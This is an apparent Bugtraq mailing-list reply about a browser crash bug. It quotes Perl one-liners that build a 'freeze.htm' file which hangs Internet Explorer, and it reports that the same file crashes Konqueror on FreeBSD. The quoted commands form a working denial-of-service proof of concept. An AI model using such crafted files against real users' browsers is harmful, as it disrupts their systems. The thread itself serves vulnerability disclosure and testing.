Re: April appeared to be a month of IE bugs. Here's another one.

[Joachim Stro"mbergson <Joachim.Strombergson () InformAsic com>]

Aloha!

ERRor wrote:
> > > Hello, Bugtraq.
> >
> > > Malicious htm file can freeze IE with 100% CPU usage:
> > > Construct the file freeze.htm:
> > > c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>  This string works only with Active Perl, in unix-like Perl versions exploit
> string is:
>  perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
>  Active Perl understand \n = \x0D\x0A, freeze of  IE exist only if sequence
>  of bytes will be ...\x0D\x0D\x0A...
>  Sorry, I have not noticed it at once.

I tested the freeze.htm generated with the revised Perl code in Konqeror 3.0.3 
(shipped in KDE 3.0.3). When loading freeze.htm Konqeror core dumps with a bus 
error almost instantly. Every time. This was tested in FreeBSD 4.7-STABLE.

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